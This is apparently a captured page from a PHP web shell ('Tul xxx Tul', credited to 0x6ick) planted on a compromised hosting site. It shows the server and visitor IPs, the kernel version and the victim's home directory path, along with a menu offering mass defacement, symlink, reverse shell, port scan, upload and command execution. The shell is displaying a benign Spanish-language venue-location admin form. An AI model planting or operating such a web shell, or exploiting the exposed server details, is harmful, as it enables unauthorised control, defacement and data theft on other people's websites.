Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
eileen
/
admin
/
pages
/
Viewing: location.php
<?php $db = getDB(); $loc = $db->query('SELECT * FROM location_settings LIMIT 1')->fetch(); ?> <div class="admin-card"> <div class="card-header"> <div class="card-title"><i class="ph-fill ph-map-pin"></i> Configuración de Ubicación</div> </div> <form id="locationForm" onsubmit="saveLocation(event)"> <div class="form-row"> <div class="form-group"> <label class="form-label">Nombre del Salón / Venue</label> <input type="text" id="locVenue" class="form-control" value="<?= htmlspecialchars($loc['venue_name'] ?? '') ?>" required> </div> <div class="form-group"> <label class="form-label">Dirección</label> <input type="text" id="locAddress" class="form-control" value="<?= htmlspecialchars($loc['address'] ?? '') ?>"> </div> </div> <div class="form-row"> <div class="form-group"> <label class="form-label">Fecha (texto a mostrar)</label> <input type="text" id="locDate" class="form-control" value="<?= htmlspecialchars($loc['date_text'] ?? '') ?>"> </div> <div class="form-group"> <label class="form-label">Horario (texto a mostrar)</label> <input type="text" id="locTime" class="form-control" value="<?= htmlspecialchars($loc['time_text'] ?? '') ?>"> </div> </div> <div class="form-group"> <label class="form-label">Link o código HTML (<iframe>) de Google Maps</label> <textarea id="locMapEmbed" class="form-control" rows="3" placeholder="Pega el link o el código <iframe...> directamente aquí"><?= htmlspecialchars($loc['map_embed_url'] ?? '') ?></textarea> </div> <div class="form-group"> <label class="form-label">URL de "Cómo Llegar"</label> <input type="url" id="locDirections" class="form-control" value="<?= htmlspecialchars($loc['directions_url'] ?? '') ?>"> </div> <button type="submit" class="btn btn-primary"><i class="ph-bold ph-floppy-disk"></i> Guardar</button> </form> </div> <!-- Preview del mapa --> <?php if ($loc['map_embed_url']): ?> <div class="admin-card"> <div class="card-header"> <div class="card-title"><i class="ph-fill ph-map-trifold"></i> Vista Previa del Mapa</div> </div> <iframe src="<?= htmlspecialchars($loc['map_embed_url']) ?>" style="width:100%;height:300px;border:0;border-radius:var(--radius-sm);"></iframe> </div> <?php endif; ?> <script> async function saveLocation(e) { e.preventDefault(); // Extracción segura del iframe justo antes de guardar (por si escriben manualmente) let mapUrl = document.getElementById('locMapEmbed').value.trim(); if (mapUrl.includes('<iframe') && mapUrl.includes('src=')) { const match = mapUrl.match(/src=["']([^"']+)["']/i); if (match && match[1]) { mapUrl = match[1]; document.getElementById('locMapEmbed').value = mapUrl; // Actualizar campo visual } } await adminFetch('save_location', { venue_name: document.getElementById('locVenue').value, address: document.getElementById('locAddress').value, date_text: document.getElementById('locDate').value, time_text: document.getElementById('locTime').value, map_embed_url: mapUrl, directions_url: document.getElementById('locDirections').value }); } // Magia: Extraer automáticamente el iframe al pegarlo en el textarea document.getElementById('locMapEmbed').addEventListener('paste', function() { setTimeout(() => { let val = this.value.trim(); if (val.includes('<iframe') && val.includes('src=')) { const match = val.match(/src=["']([^"']+)["']/i); if (match && match[1]) { this.value = match[1]; // Notificar visualmente (opcional) que lo corregimos this.style.borderColor = 'var(--gold)'; setTimeout(() => this.style.borderColor = '', 1000); } } }, 10); }); </script>
Coded With 💗 by
0x6ick